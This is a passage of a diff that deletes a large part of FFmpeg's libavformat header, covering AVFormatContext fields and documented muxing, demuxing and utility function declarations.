max_index_size; - - /** - * Maximum amount of memory in bytes to use for buffering frames - * obtained from realtime capture devices. - */ - unsigned int max_picture_buffer; - - /** - * Number of chapters in AVChapter array. - * When muxing, chapters are normally written in the file header, - * so nb_chapters should normally be initialized before write_header - * is called. Some muxers (e.g. mov and mkv) can also write chapters - * in the trailer. To write chapters in the trailer, nb_chapters - * must be zero when write_header is called and non-zero when - * write_trailer is called. - * - muxing: set by user - * - demuxing: set by libavformat - */ - unsigned int nb_chapters; - AVChapter **chapters; - - /** - * Metadata that applies to the whole file. - * - * - demuxing: set by libavformat in avformat_open_input() - * - muxing: may be set by the caller before avformat_write_header() - * - * Freed by libavformat in avformat_free_context(). - */ - AVDictionary *metadata; - - /** - * Start time of the stream in real world time, in microseconds - * since the Unix epoch (00:00 1st January 1970). That is, pts=0 in the - * stream was captured at this real world time. - * - muxing: Set by the caller before avformat_write_header(). If set to - * either 0 or AV_NOPTS_VALUE, then the current wall-time will - * be used. - * - demuxing: Set by libavformat. AV_NOPTS_VALUE if unknown. Note that - * the value may become known after some number of frames - * have been received. - */ - int64_t start_time_realtime; - - /** - * The number of frames used for determining the framerate in - * avformat_find_stream_info(). - * Demuxing only, set by the caller before avformat_find_stream_info(). - */ - int fps_probe_size; - - /** - * Error recognition; higher values will detect more errors but may - * misdetect some more or less valid parts as errors. - * Demuxing only, set by the caller before avformat_open_input(). - */ - int error_recognition; - - /** - * Custom interrupt callbacks for the I/O layer. - * - * demuxing: set by the user before avformat_open_input(). - * muxing: set by the user before avformat_write_header() - * (mainly useful for AVFMT_NOFILE formats). The callback - * should also be passed to avio_open2() if it's used to - * open the file. - */ - AVIOInterruptCB interrupt_callback; - - /** - * Flags to enable debugging. - */ - int debug; -#define FF_FDEBUG_TS 0x0001 - - /** - * Maximum buffering duration for interleaving. - * - * To ensure all the streams are interleaved correctly, - * av_interleaved_write_frame() will wait until it has at least one packet - * for each stream before actually writing any packets to the output file. - * When some streams are "sparse" (i.e. there are large gaps between - * successive packets), this can result in excessive buffering. - * - * This field specifies the maximum difference between the timestamps of the - * first and the last packet in the muxing queue, above which libavformat - * will output a packet regardless of whether it has queued a packet for all - * the streams. - * - * Muxing only, set by the caller before avformat_write_header(). - */ - int64_t max_interleave_delta; - - /** - * Allow non-standard and experimental extension - * @see AVCodecContext.strict_std_compliance - */ - int strict_std_compliance; - - /** - * Flags for the user to detect events happening on the file. Flags must - * be cleared by the user once the event has been handled. - * A combination of AVFMT_EVENT_FLAG_*. - */ - int event_flags; -#define AVFMT_EVENT_FLAG_METADATA_UPDATED 0x0001 ///< The call resulted in updated metadata. - - /** - * Maximum number of packets to read while waiting for the first timestamp. - * Decoding only. - */ - int max_ts_probe; - - /** - * Avoid negative timestamps during muxing. - * Any value of the AVFMT_AVOID_NEG_TS_* constants. - * Note, this only works when using av_interleaved_write_frame. (interleave_packet_per_dts is in use) - * - muxing: Set by user - * - demuxing: unused - */ - int avoid_negative_ts; -#define AVFMT_AVOID_NEG_TS_AUTO -1 ///< Enabled when required by target format -#define AVFMT_AVOID_NEG_TS_MAKE_NON_NEGATIVE 1 ///< Shift timestamps so they are non negative -#define AVFMT_AVOID_NEG_TS_MAKE_ZERO 2 ///< Shift timestamps so that they start at 0 - - /** - * Transport stream id. - * This will be moved into demuxer private options. Thus no API/ABI compatibility - */ - int ts_id; - - /** - * Audio preload in microseconds. - * Note, not all formats support this and unpredictable things may happen if it is used when not supported. - * - encoding: Set by user via AVOptions (NO direct access) - * - decoding: unused - */ - int audio_preload; - - /** - * Max chunk time in microseconds. - * Note, not all formats support this and unpredictable things may happen if it is used when not supported. - * - encoding: Set by user via AVOptions (NO direct access) - * - decoding: unused - */ - int max_chunk_duration; - - /** - * Max chunk size in bytes - * Note, not all formats support this and unpredictable things may happen if it is used when not supported. - * - encoding: Set by user via AVOptions (NO direct access) - * - decoding: unused - */ - int max_chunk_size; - - /** - * forces the use of wallclock timestamps as pts/dts of packets - * This has undefined results in the presence of B frames. - * - encoding: unused - * - decoding: Set by user via AVOptions (NO direct access) - */ - int use_wallclock_as_timestamps; - - /** - * avio flags, used to force AVIO_FLAG_DIRECT. - * - encoding: unused - * - decoding: Set by user via AVOptions (NO direct access) - */ - int avio_flags; - - /** - * The duration field can be estimated through various ways, and this field can be used - * to know how the duration was estimated. - * - encoding: unused - * - decoding: Read by user via AVOptions (NO direct access) - */ - enum AVDurationEstimationMethod duration_estimation_method; - - /** - * Skip initial bytes when opening stream - * - encoding: unused - * - decoding: Set by user via AVOptions (NO direct access) - */ - int64_t skip_initial_bytes; - - /** - * Correct single timestamp overflows - * - encoding: unused - * - decoding: Set by user via AVOptions (NO direct access) - */ - unsigned int correct_ts_overflow; - - /** - * Force seeking to any (also non key) frames. - * - encoding: unused - * - decoding: Set by user via AVOptions (NO direct access) - */ - int seek2any; - - /** - * Flush the I/O context after each packet. - * - encoding: Set by user via AVOptions (NO direct access) - * - decoding: unused - */ - int flush_packets; - - /** - * format probing score. - * The maximal score is AVPROBE_SCORE_MAX, its set when the demuxer probes - * the format. - * - encoding: unused - * - decoding: set by avformat, read by user via av_format_get_probe_score() (NO direct access) - */ - int probe_score; - - /** - * number of bytes to read maximally to identify format. - * - encoding: unused - * - decoding: set by user through AVOPtions (NO direct access) - */ - int format_probesize; - - /** - * ',' separated list of allowed decoders. - * If NULL then all are allowed - * - encoding: unused - * - decoding: set by user through AVOptions (NO direct access) - */ - char *codec_whitelist; - - /** - * ',' separated list of allowed demuxers. - * If NULL then all are allowed - * - encoding: unused - * - decoding: set by user through AVOptions (NO direct access) - */ - char *format_whitelist; - - /** - * An opaque field for libavformat internal usage. - * Must not be accessed in any way by callers. - */ - AVFormatInternal *internal; - - /** - * IO repositioned flag. - * This is set by avformat when the underlaying IO context read pointer - * is repositioned, for example when doing byte based seeking. - * Demuxers can use the flag to detect such changes. - */ - int io_repositioned; - - /** - * Forced video codec. - * This allows forcing a specific decoder, even when there are multiple with - * the same codec_id. - * Demuxing: Set by user via av_format_set_video_codec (NO direct access). - */ - AVCodec *video_codec; - - /** - * Forced audio codec. - * This allows forcing a specific decoder, even when there are multiple with - * the same codec_id. - * Demuxing: Set by user via av_format_set_audio_codec (NO direct access). - */ - AVCodec *audio_codec; - - /** - * Forced subtitle codec. - * This allows forcing a specific decoder, even when there are multiple with - * the same codec_id. - * Demuxing: Set by user via av_format_set_subtitle_codec (NO direct access). - */ - AVCodec *subtitle_codec; - - /** - * Forced data codec. - * This allows forcing a specific decoder, even when there are multiple with - * the same codec_id. - * Demuxing: Set by user via av_format_set_data_codec (NO direct access). - */ - AVCodec *data_codec; - - /** - * Number of bytes to be written as padding in a metadata header. - * Demuxing: Unused. - * Muxing: Set by user via av_format_set_metadata_header_padding. - */ - int metadata_header_padding; - - /** - * User data. - * This is a place for some private data of the user. - */ - void *opaque; - - /** - * Callback used by devices to communicate with application. - */ - av_format_control_message control_message_cb; - - /** - * Output timestamp offset, in microseconds. - * Muxing: set by user via AVOptions (NO direct access) - */ - int64_t output_ts_offset; - - /** - * dump format separator. - * can be ", " or "\n " or anything else - * Code outside libavformat should access this field using AVOptions - * (NO direct access). - * - muxing: Set by user. - * - demuxing: Set by user. - */ - uint8_t *dump_separator; - - /** - * Forced Data codec_id. - * Demuxing: Set by user. - */ - enum AVCodecID data_codec_id; - -#if FF_API_OLD_OPEN_CALLBACKS - /** - * Called to open further IO contexts when needed for demuxing. - * - * This can be set by the user application to perform security checks on - * the URLs before opening them. - * The function should behave like avio_open2(), AVFormatContext is provided - * as contextual information and to reach AVFormatContext.opaque. - * - * If NULL then some simple checks are used together with avio_open2(). - * - * Must not be accessed directly from outside avformat. - * @See av_format_set_open_cb() - * - * Demuxing: Set by user. - * - * @deprecated Use io_open and io_close. - */ - attribute_deprecated - int (*open_cb)(struct AVFormatContext *s, AVIOContext **p, const char *url, int flags, const AVIOInterruptCB *int_cb, AVDictionary **options); -#endif - - /** - * ',' separated list of allowed protocols. - * - encoding: unused - * - decoding: set by user through AVOptions (NO direct access) - */ - char *protocol_whitelist; - - /* - * A callback for opening new IO streams. - * - * Certain muxers or demuxers (e.g. for various playlist-based formats) need - * to open additional files during muxing or demuxing. This callback allows - * the caller to provide custom IO in such cases. - * - * @param s the format context - * @param pb on success, the newly opened IO context should be returned here - * @param url the url to open - * @param flags a combination of AVIO_FLAG_* - * @param options a dictionary of additional options, with the same - * semantics as in avio_open2() - * @return 0 on success, a negative AVERROR code on failure - * - * @note Certain muxers and demuxers do nesting, i.e. they open one or more - * additional internal format contexts. Thus the AVFormatContext pointer - * passed to this callback may be different from the one facing the caller. - * It will, however, have the same 'opaque' field. - */ - int (*io_open)(struct AVFormatContext *s, AVIOContext **pb, const char *url, - int flags, AVDictionary **options); - - /** - * A callback for closing the streams opened with AVFormatContext.io_open(). - */ - void (*io_close)(struct AVFormatContext *s, AVIOContext *pb); -} AVFormatContext; - -int av_format_get_probe_score(const AVFormatContext *s); -AVCodec * av_format_get_video_codec(const AVFormatContext *s); -void av_format_set_video_codec(AVFormatContext *s, AVCodec *c); -AVCodec * av_format_get_audio_codec(const AVFormatContext *s); -void av_format_set_audio_codec(AVFormatContext *s, AVCodec *c); -AVCodec * av_format_get_subtitle_codec(const AVFormatContext *s); -void av_format_set_subtitle_codec(AVFormatContext *s, AVCodec *c); -AVCodec * av_format_get_data_codec(const AVFormatContext *s); -void av_format_set_data_codec(AVFormatContext *s, AVCodec *c); -int av_format_get_metadata_header_padding(const AVFormatContext *s); -void av_format_set_metadata_header_padding(AVFormatContext *s, int c); -void * av_format_get_opaque(const AVFormatContext *s); -void av_format_set_opaque(AVFormatContext *s, void *opaque); -av_format_control_message av_format_get_control_message_cb(const AVFormatContext *s); -void av_format_set_control_message_cb(AVFormatContext *s, av_format_control_message callback); -#if FF_API_OLD_OPEN_CALLBACKS -attribute_deprecated AVOpenCallback av_format_get_open_cb(const AVFormatContext *s); -attribute_deprecated void av_format_set_open_cb(AVFormatContext *s, AVOpenCallback callback); -#endif - -/** - * This function will cause global side data to be injected in the next packet - * of each stream as well as after any subsequent seek. - */ -void av_format_inject_global_side_data(AVFormatContext *s); - -/** - * Returns the method used to set ctx->duration. - * - * @return AVFMT_DURATION_FROM_PTS, AVFMT_DURATION_FROM_STREAM, or AVFMT_DURATION_FROM_BITRATE. - */ -enum AVDurationEstimationMethod av_fmt_ctx_get_duration_estimation_method(const AVFormatContext* ctx); - -typedef struct AVPacketList { - AVPacket pkt; - struct AVPacketList *next; -} AVPacketList; - - -/** - * @defgroup lavf_core Core functions - * @ingroup libavf - * - * Functions for querying libavformat capabilities, allocating core structures, - * etc. - * @{ - */ - -/** - * Return the LIBAVFORMAT_VERSION_INT constant. - */ -unsigned avformat_version(void); - -/** - * Return the libavformat build-time configuration. - */ -const char *avformat_configuration(void); - -/** - * Return the libavformat license. - */ -const char *avformat_license(void); - -/** - * Initialize libavformat and register all the muxers, demuxers and - * protocols. If you do not call this function, then you can select - * exactly which formats you want to support. - * - * @see av_register_input_format() - * @see av_register_output_format() - */ -void av_register_all(void); - -void av_register_input_format(AVInputFormat *format); -void av_register_output_format(AVOutputFormat *format); - -/** - * Do global initialization of network components. This is optional, - * but recommended, since it avoids the overhead of implicitly - * doing the setup for each session. - * - * Calling this function will become mandatory if using network - * protocols at some major version bump. - */ -int avformat_network_init(void); - -/** - * Undo the initialization done by avformat_network_init. - */ -int avformat_network_deinit(void); - -/** - * If f is NULL, returns the first registered input format, - * if f is non-NULL, returns the next registered input format after f - * or NULL if f is the last one. - */ -AVInputFormat *av_iformat_next(const AVInputFormat *f); - -/** - * If f is NULL, returns the first registered output format, - * if f is non-NULL, returns the next registered output format after f - * or NULL if f is the last one. - */ -AVOutputFormat *av_oformat_next(const AVOutputFormat *f); - -/** - * Allocate an AVFormatContext. - * avformat_free_context() can be used to free the context and everything - * allocated by the framework within it. - */ -AVFormatContext *avformat_alloc_context(void); - -/** - * Free an AVFormatContext and all its streams. - * @param s context to free - */ -void avformat_free_context(AVFormatContext *s); - -/** - * Get the AVClass for AVFormatContext. It can be used in combination with - * AV_OPT_SEARCH_FAKE_OBJ for examining options. - * - * @see av_opt_find(). - */ -const AVClass *avformat_get_class(void); - -/** - * Add a new stream to a media file. - * - * When demuxing, it is called by the demuxer in read_header(). If the - * flag AVFMTCTX_NOHEADER is set in s.ctx_flags, then it may also - * be called in read_packet(). - * - * When muxing, should be called by the user before avformat_write_header(). - * - * User is required to call avcodec_close() and avformat_free_context() to - * clean up the allocation by avformat_new_stream(). - * - * @param s media file handle - * @param c If non-NULL, the AVCodecContext corresponding to the new stream - * will be initialized to use this codec. This is needed for e.g. codec-specific - * defaults to be set, so codec should be provided if it is known. - * - * @return newly created stream or NULL on error. - */ -AVStream *avformat_new_stream(AVFormatContext *s, const AVCodec *c); - -/** - * Allocate new information from stream. - * - * @param stream stream - * @param type desired side information type - * @param size side information size - * @return pointer to fresh allocated data or NULL otherwise - */ -uint8_t *av_stream_new_side_data(AVStream *stream, - enum AVPacketSideDataType type, int size); -/** - * Get side information from stream. - * - * @param stream stream - * @param type desired side information type - * @param size pointer for side information size to store (optional) - * @return pointer to data if present or NULL otherwise - */ -uint8_t *av_stream_get_side_data(AVStream *stream, - enum AVPacketSideDataType type, int *size); - -AVProgram *av_new_program(AVFormatContext *s, int id); - -/** - * @} - */ - - -/** - * Allocate an AVFormatContext for an output format. - * avformat_free_context() can be used to free the context and - * everything allocated by the framework within it. - * - * @param *ctx is set to the created format context, or to NULL in - * case of failure - * @param oformat format to use for allocating the context, if NULL - * format_name and filename are used instead - * @param format_name the name of output format to use for allocating the - * context, if NULL filename is used instead - * @param filename the name of the filename to use for allocating the - * context, may be NULL - * @return >= 0 in case of success, a negative AVERROR code in case of - * failure - */ -int avformat_alloc_output_context2(AVFormatContext **ctx, AVOutputFormat *oformat, - const char *format_name, const char *filename); - -/** - * @addtogroup lavf_decoding - * @{ - */ - -/** - * Find AVInputFormat based on the short name of the input format. - */ -AVInputFormat *av_find_input_format(const char *short_name); - -/** - * Guess the file format. - * - * @param pd data to be probed - * @param is_opened Whether the file is already opened; determines whether - * demuxers with or without AVFMT_NOFILE are probed. - */ -AVInputFormat *av_probe_input_format(AVProbeData *pd, int is_opened); - -/** - * Guess the file format. - * - * @param pd data to be probed - * @param is_opened Whether the file is already opened; determines whether - * demuxers with or without AVFMT_NOFILE are probed. - * @param score_max A probe score larger that this is required to accept a - * detection, the variable is set to the actual detection - * score afterwards. - * If the score is <= AVPROBE_SCORE_MAX / 4 it is recommended - * to retry with a larger probe buffer. - */ -AVInputFormat *av_probe_input_format2(AVProbeData *pd, int is_opened, int *score_max); - -/** - * Guess the file format. - * - * @param is_opened Whether the file is already opened; determines whether - * demuxers with or without AVFMT_NOFILE are probed. - * @param score_ret The score of the best detection. - */ -AVInputFormat *av_probe_input_format3(AVProbeData *pd, int is_opened, int *score_ret); - -/** - * Probe a bytestream to determine the input format. Each time a probe returns - * with a score that is too low, the probe buffer size is increased and another - * attempt is made. When the maximum probe size is reached, the input format - * with the highest score is returned. - * - * @param pb the bytestream to probe - * @param fmt the input format is put here - * @param url the url of the stream - * @param logctx the log context - * @param offset the offset within the bytestream to probe from - * @param max_probe_size the maximum probe buffer size (zero for default) - * @return the score in case of success, a negative value corresponding to an - * the maximal score is AVPROBE_SCORE_MAX - * AVERROR code otherwise - */ -int av_probe_input_buffer2(AVIOContext *pb, AVInputFormat **fmt, - const char *url, void *logctx, - unsigned int offset, unsigned int max_probe_size); - -/** - * Like av_probe_input_buffer2() but returns 0 on success - */ -int av_probe_input_buffer(AVIOContext *pb, AVInputFormat **fmt, - const char *url, void *logctx, - unsigned int offset, unsigned int max_probe_size); - -/** - * Open an input stream and read the header. The codecs are not opened. - * The stream must be closed with avformat_close_input(). - * - * @param ps Pointer to user-supplied AVFormatContext (allocated by avformat_alloc_context). - * May be a pointer to NULL, in which case an AVFormatContext is allocated by this - * function and written into ps. - * Note that a user-supplied AVFormatContext will be freed on failure. - * @param url URL of the stream to open. - * @param fmt If non-NULL, this parameter forces a specific input format. - * Otherwise the format is autodetected. - * @param options A dictionary filled with AVFormatContext and demuxer-private options. - * On return this parameter will be destroyed and replaced with a dict containing - * options that were not found. May be NULL. - * - * @return 0 on success, a negative AVERROR on failure. - * - * @note If you want to use custom IO, preallocate the format context and set its pb field. - */ -int avformat_open_input(AVFormatContext **ps, const char *url, AVInputFormat *fmt, AVDictionary **options); - -attribute_deprecated -int av_demuxer_open(AVFormatContext *ic); - -/** - * Read packets of a media file to get stream information. This - * is useful for file formats with no headers such as MPEG. This - * function also computes the real framerate in case of MPEG-2 repeat - * frame mode. - * The logical file position is not changed by this function; - * examined packets may be buffered for later processing. - * - * @param ic media file handle - * @param options If non-NULL, an ic.nb_streams long array of pointers to - * dictionaries, where i-th member contains options for - * codec corresponding to i-th stream. - * On return each dictionary will be filled with options that were not found. - * @return >=0 if OK, AVERROR_xxx on error - * - * @note this function isn't guaranteed to open all the codecs, so - * options being non-empty at return is a perfectly normal behavior. - * - * @todo Let the user decide somehow what information is needed so that - * we do not waste time getting stuff the user does not need. - */ -int avformat_find_stream_info(AVFormatContext *ic, AVDictionary **options); - -/** - * Find the programs which belong to a given stream. - * - * @param ic media file handle - * @param last the last found program, the search will start after this - * program, or from the beginning if it is NULL - * @param s stream index - * @return the next program which belongs to s, NULL if no program is found or - * the last program is not among the programs of ic. - */ -AVProgram *av_find_program_from_stream(AVFormatContext *ic, AVProgram *last, int s); - -void av_program_add_stream_index(AVFormatContext *ac, int progid, unsigned int idx); - -/** - * Find the "best" stream in the file. - * The best stream is determined according to various heuristics as the most - * likely to be what the user expects. - * If the decoder parameter is non-NULL, av_find_best_stream will find the - * default decoder for the stream's codec; streams for which no decoder can - * be found are ignored. - * - * @param ic media file handle - * @param type stream type: video, audio, subtitles, etc. - * @param wanted_stream_nb user-requested stream number, - * or -1 for automatic selection - * @param related_stream try to find a stream related (eg. in the same - * program) to this one, or -1 if none - * @param decoder_ret if non-NULL, returns the decoder for the - * selected stream - * @param flags flags; none are currently defined - * @return the non-negative stream number in case of success, - * AVERROR_STREAM_NOT_FOUND if no stream with the requested type - * could be found, - * AVERROR_DECODER_NOT_FOUND if streams were found but no decoder - * @note If av_find_best_stream returns successfully and decoder_ret is not - * NULL, then *decoder_ret is guaranteed to be set to a valid AVCodec. - */ -int av_find_best_stream(AVFormatContext *ic, - enum AVMediaType type, - int wanted_stream_nb, - int related_stream, - AVCodec **decoder_ret, - int flags); - -/** - * Return the next frame of a stream. - * This function returns what is stored in the file, and does not validate - * that what is there are valid frames for the decoder. It will split what is - * stored in the file into frames and return one for each call. It will not - * omit invalid data between valid frames so as to give the decoder the maximum - * information possible for decoding. - * - * If pkt->buf is NULL, then the packet is valid until the next - * av_read_frame() or until avformat_close_input(). Otherwise the packet - * is valid indefinitely. In both cases the packet must be freed with - * av_packet_unref when it is no longer needed. For video, the packet contains - * exactly one frame. For audio, it contains an integer number of frames if each - * frame has a known fixed size (e.g. PCM or ADPCM data). If the audio frames - * have a variable size (e.g. MPEG audio), then it contains one frame. - * - * pkt->pts, pkt->dts and pkt->duration are always set to correct - * values in AVStream.time_base units (and guessed if the format cannot - * provide them). pkt->pts can be AV_NOPTS_VALUE if the video format - * has B-frames, so it is better to rely on pkt->dts if you do not - * decompress the payload. - * - * @return 0 if OK, < 0 on error or end of file - */ -int av_read_frame(AVFormatContext *s, AVPacket *pkt); - -/** - * Seek to the keyframe at timestamp. - * 'timestamp' in 'stream_index'. - * - * @param s media file handle - * @param stream_index If stream_index is (-1), a default - * stream is selected, and timestamp is automatically converted - * from AV_TIME_BASE units to the stream specific time_base. - * @param timestamp Timestamp in AVStream.time_base units - * or, if no stream is specified, in AV_TIME_BASE units. - * @param flags flags which select direction and seeking mode - * @return >= 0 on success - */ -int av_seek_frame(AVFormatContext *s, int stream_index, int64_t timestamp, - int flags); - -/** - * Seek to timestamp ts. - * Seeking will be done so that the point from which all active streams - * can be presented successfully will be closest to ts and within min/max_ts. - * Active streams are all streams that have AVStream.discard < AVDISCARD_ALL. - * - * If flags contain AVSEEK_FLAG_BYTE, then all timestamps are in bytes and - * are the file position (this may not be supported by all demuxers). - * If flags contain AVSEEK_FLAG_FRAME, then all timestamps are in frames - * in the stream with stream_index (this may not be supported by all demuxers). - * Otherwise all timestamps are in units of the stream selected by stream_index - * or if stream_index is -1, in AV_TIME_BASE units. - * If flags contain AVSEEK_FLAG_ANY, then non-keyframes are treated as - * keyframes (this may not be supported by all demuxers). - * If flags contain AVSEEK_FLAG_BACKWARD, it is ignored. - * - * @param s media file handle - * @param stream_index index of the stream which is used as time base reference - * @param min_ts smallest acceptable timestamp - * @param ts target timestamp - * @param max_ts largest acceptable timestamp - * @param flags flags - * @return >=0 on success, error code otherwise - * - * @note This is part of the new seek API which is still under construction. - * Thus do not use this yet. It may change at any time, do not expect - * ABI compatibility yet! - */ -int avformat_seek_file(AVFormatContext *s, int stream_index, int64_t min_ts, int64_t ts, int64_t max_ts, int flags); - -/** - * Discard all internally buffered data. This can be useful when dealing with - * discontinuities in the byte stream. Generally works only with formats that - * can resync. This includes headerless formats like MPEG-TS/TS but should also - * work with NUT, Ogg and in a limited way AVI for example. - * - * The set of streams, the detected duration, stream parameters and codecs do - * not change when calling this function. If you want a complete reset, it's - * better to open a new AVFormatContext. - * - * This does not flush the AVIOContext (s->pb). If necessary, call - * avio_flush(s->pb) before calling this function. - * - * @param s media file handle - * @return >=0 on success, error code otherwise - */ -int avformat_flush(AVFormatContext *s); - -/** - * Start playing a network-based stream (e.g. RTSP stream) at the - * current position. - */ -int av_read_play(AVFormatContext *s); - -/** - * Pause a network-based stream (e.g. RTSP stream). - * - * Use av_read_play() to resume it. - */ -int av_read_pause(AVFormatContext *s); - -/** - * Close an opened input AVFormatContext. Free it and all its contents - * and set *s to NULL. - */ -void avformat_close_input(AVFormatContext **s); -/** - * @} - */ - -#define AVSEEK_FLAG_BACKWARD 1 ///< seek backward -#define AVSEEK_FLAG_BYTE 2 ///< seeking based on position in bytes -#define AVSEEK_FLAG_ANY 4 ///< seek to any frame, even non-keyframes -#define AVSEEK_FLAG_FRAME 8 ///< seeking based on frame number - -/** - * @addtogroup lavf_encoding - * @{ - */ -/** - * Allocate the stream private data and write the stream header to - * an output media file. - * - * @param s Media file handle, must be allocated with avformat_alloc_context(). - * Its oformat field must be set to the desired output format; - * Its pb field must be set to an already opened AVIOContext. - * @param options An AVDictionary filled with AVFormatContext and muxer-private options. - * On return this parameter will be destroyed and replaced with a dict containing - * options that were not found. May be NULL. - * - * @return 0 on success, negative AVERROR on failure. - * - * @see av_opt_find, av_dict_set, avio_open, av_oformat_next. - */ -av_warn_unused_result -int avformat_write_header(AVFormatContext *s, AVDictionary **options); - -/** - * Write a packet to an output media file. - * - * This function passes the packet directly to the muxer, without any buffering - * or reordering. The caller is responsible for correctly interleaving the - * packets if the format requires it. Callers that want libavformat to handle - * the interleaving should call av_interleaved_write_frame() instead of this - * function. - * - * @param s media file handle - * @param pkt The packet containing the data to be written. Note that unlike - * av_interleaved_write_frame(), this function does not take - * ownership of the packet passed to it (though some muxers may make - * an internal reference to the input packet). - *
- * This parameter can be NULL (at any time, not just at the end), in - * order to immediately flush data buffered within the muxer, for - * muxers that buffer up data internally before writing it to the - * output. - *
- * Packet's @ref AVPacket.stream_index "stream_index" field must be - * set to the index of the corresponding stream in @ref - * AVFormatContext.streams "s->streams". - *
- * The timestamps (@ref AVPacket.pts "pts", @ref AVPacket.dts "dts") - * must be set to correct values in the stream's timebase (unless the - * output format is flagged with the AVFMT_NOTIMESTAMPS flag, then - * they can be set to AV_NOPTS_VALUE). - * The dts for subsequent packets passed to this function must be strictly - * increasing when compared in their respective timebases (unless the - * output format is flagged with the AVFMT_TS_NONSTRICT, then they - * merely have to be nondecreasing). @ref AVPacket.duration - * "duration") should also be set if known. - * @return < 0 on error, = 0 if OK, 1 if flushed and there is no more data to flush - * - * @see av_interleaved_write_frame() - */ -int av_write_frame(AVFormatContext *s, AVPacket *pkt); - -/** - * Write a packet to an output media file ensuring correct interleaving. - * - * This function will buffer the packets internally as needed to make sure the - * packets in the output file are properly interleaved in the order of - * increasing dts. Callers doing their own interleaving should call - * av_write_frame() instead of this function. - * - * @param s media file handle - * @param pkt The packet containing the data to be written. - *
- * If the packet is reference-counted, this function will take - * ownership of this reference and unreference it later when it sees - * fit. - * The caller must not access the data through this reference after - * this function returns. If the packet is not reference-counted, - * libavformat will make a copy. - *
- * This parameter can be NULL (at any time, not just at the end), to - * flush the interleaving queues. - *
- * Packet's @ref AVPacket.stream_index "stream_index" field must be - * set to the index of the corresponding stream in @ref - * AVFormatContext.streams "s->streams". - *
- * The timestamps (@ref AVPacket.pts "pts", @ref AVPacket.dts "dts") - * must be set to correct values in the stream's timebase (unless the - * output format is flagged with the AVFMT_NOTIMESTAMPS flag, then - * they can be set to AV_NOPTS_VALUE). - * The dts for subsequent packets in one stream must be strictly - * increasing (unless the output format is flagged with the - * AVFMT_TS_NONSTRICT, then they merely have to be nondecreasing). - * @ref AVPacket.duration "duration") should also be set if known. - * - * @return 0 on success, a negative AVERROR on error. Libavformat will always - * take care of freeing the packet, even if this function fails. - * - * @see av_write_frame(), AVFormatContext.max_interleave_delta - */ -int av_interleaved_write_frame(AVFormatContext *s, AVPacket *pkt); - -/** - * Write a uncoded frame to an output media file. - * - * The frame must be correctly interleaved according to the container - * specification; if not, then av_interleaved_write_frame() must be used. - * - * See av_interleaved_write_frame() for details. - */ -int av_write_uncoded_frame(AVFormatContext *s, int stream_index, - AVFrame *frame); - -/** - * Write a uncoded frame to an output media file. - * - * If the muxer supports it, this function makes it possible to write an AVFrame - * structure directly, without encoding it into a packet. - * It is mostly useful for devices and similar special muxers that use raw - * video or PCM data and will not serialize it into a byte stream. - * - * To test whether it is possible to use it with a given muxer and stream, - * use av_write_uncoded_frame_query(). - * - * The caller gives up ownership of the frame and must not access it - * afterwards. - * - * @return >=0 for success, a negative code on error - */ -int av_interleaved_write_uncoded_frame(AVFormatContext *s, int stream_index, - AVFrame *frame); - -/** - * Test whether a muxer supports uncoded frame. - * - * @return >=0 if an uncoded frame can be written to that muxer and stream, - * <0 if not - */ -int av_write_uncoded_frame_query(AVFormatContext *s, int stream_index); - -/** - * Write the stream trailer to an output media file and free the - * file private data. - * - * May only be called after a successful call to avformat_write_header. - * - * @param s media file handle - * @return 0 if OK, AVERROR_xxx on error - */ -int av_write_trailer(AVFormatContext *s); - -/** - * Return the output format in the list of registered output formats - * which best matches the provided parameters, or return NULL if - * there is no match. - * - * @param short_name if non-NULL checks if short_name matches with the - * names of the registered formats - * @param filename if non-NULL checks if filename terminates with the - * extensions of the registered formats - * @param mime_type if non-NULL checks if mime_type matches with the - * MIME type of the registered formats - */ -AVOutputFormat *av_guess_format(const char *short_name, - const char *filename, - const char *mime_type); - -/** - * Guess the codec ID based upon muxer and filename. - */ -enum AVCodecID av_guess_codec(AVOutputFormat *fmt, const char *short_name, - const char *filename, const char *mime_type, - enum AVMediaType type); - -/** - * Get timing information for the data currently output. - * The exact meaning of "currently output" depends on the format. - * It is mostly relevant for devices that have an internal buffer and/or - * work in real time. - * @param s media file handle - * @param stream stream in the media file - * @param[out] dts DTS of the last packet output for the stream, in stream - * time_base units - * @param[out] wall absolute time when that packet whas output, - * in microsecond - * @return 0 if OK, AVERROR(ENOSYS) if the format does not support it - * Note: some formats or devices may not allow to measure dts and wall - * atomically. - */ -int av_get_output_timestamp(struct AVFormatContext *s, int stream, - int64_t *dts, int64_t *wall); - - -/** - * @} - */ - - -/** - * @defgroup lavf_misc Utility functions - * @ingroup libavf - * @{ - * - * Miscellaneous utility functions related to both muxing and demuxing - * (or neither). - */ - -/** - * Send a nice hexadecimal dump of a buffer to the specified file stream. - * - * @param f The file stream pointer where the dump should be sent to. - * @param buf buffer - * @param size buffer size - * - * @see av_hex_dump_log, av_pkt_dump2, av_pkt_dump_log2 - */ -void av_hex_dump(FILE *f, const uint8_t *buf, int size); - -/** - * Send a nice hexadecimal dump of a buffer to the log. - * - * @param avcl A pointer to an arbitrary struct of which the first field is a - * pointer to an AVClass struct. - * @param level The importance level of the message, lower values signifying - * higher importance. - * @param buf buffer - * @param size buffer size - * - * @see av_hex_dump, av_pkt_dump2, av_pkt_dump_log2 - */ -void av_hex_dump_log(void *avcl, int level, const uint8_t *buf, int size); - -/** - * Send a nice dump of a packet to the specified file stream. - * - * @param f The file stream pointer where the dump should be sent to. - * @param pkt packet to dump - * @param dump_payload True if the payload must be displayed, too. - * @param st AVStream that the packet belongs to - */ -void av_pkt_dump2(FILE *f, const AVPacket *pkt, int dump_payload, const AVStream *st); - - -/** - * Send a nice dump of a packet to the log. - * - * @param avcl A pointer to an arbitrary struct of which the first field is a - * pointer to an AVClass struct. - * @param level The importance level of the message, lower values signifying - * higher importance. - * @param pkt packet to dump - * @param dump_payload True if the payload must be displayed, too. - * @param st AVStream that the packet belongs to - */ -void av_pkt_dump_log2(void *avcl, int level, const AVPacket *pkt, int dump_payload, - const AVStream *st); - -/** - * Get the AVCodecID for the given codec tag tag. - * If no codec id is found returns AV_CODEC_ID_NONE. - * - * @param tags list of supported codec_id-codec_tag pairs, as stored - * in AVInputFormat.codec_tag and AVOutputFormat.codec_tag - * @param tag codec tag to match to a codec ID - */ -enum AVCodecID av_codec_get_id(const struct AVCodecTag * const *tags, unsigned int tag); - -/** - * Get the codec tag for the given codec id id. - * If no codec tag is found returns 0. - * - * @param tags list of supported codec_id-codec_tag pairs, as stored - * in AVInputFormat.codec_tag and AVOutputFormat.codec_tag - * @param id codec ID to match to a codec tag - */ -unsigned int av_codec_get_tag(const struct 